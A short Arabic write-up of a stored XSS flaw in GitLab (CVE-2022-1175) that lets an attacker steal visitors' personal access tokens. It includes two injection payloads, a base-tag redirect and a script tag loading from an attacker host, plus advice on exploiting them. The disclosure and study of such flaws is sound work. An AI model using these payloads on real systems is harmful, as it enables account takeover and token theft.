
ثغرة XSS مخزّنة في Gitlab، يمكن تعيينها في مشكلة (Issue) على مشروع، سواء كان مشروعك الخاص أو مشروع مستخدم آخر. تتيح هجمات مثل إنشاء وسرقة رمز الوصول الشخصي (PAT) لأي شخص يزور المشكلة. ويمكن لرموز PAT بعد ذلك توفير وصول كامل إلى Gitlab API بهوية ذلك المستخدم، وهو ما يعادل الاستيلاء الكامل على الحساب.
يمكن استغلالها بتغيير عنصر base للمشروع إلى موقعك، بحيث يتم جلب السكربتات من موقعك. غيّر JavaScript على موقعك ليطابق أسماء السكربتات المستدعاة في الصفحة. ومع ذلك، قد يكسر هذا عناصر في الصفحة.
<pre data-sourcepos=""%22 href="x"></pre><base href=http://unsafe-website.com/><pre x=""><code></code></pre>
تضمين السكربت القياسي يعمل أيضًا اعتمادًا على سياسة CSP للموقع. وهذا أسلوب أكثر تمويهًا.
<pre data-sourcepos=""%22 href="x"></pre><script src="https://attacker-site.com/bad.js"></script><pre x=""><code></code></pre>
أدرج مطورو GitLab سلسلة XSS الكاملة في الكود بشكل ملائم، ويمكن العثور عليها هنا:
https://gitlab.com/gitlab-org/gitlab/-/compare/v14.9.1-ee...v14.9.2-ee?from_project_id=278964&page=4
المرجع:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1175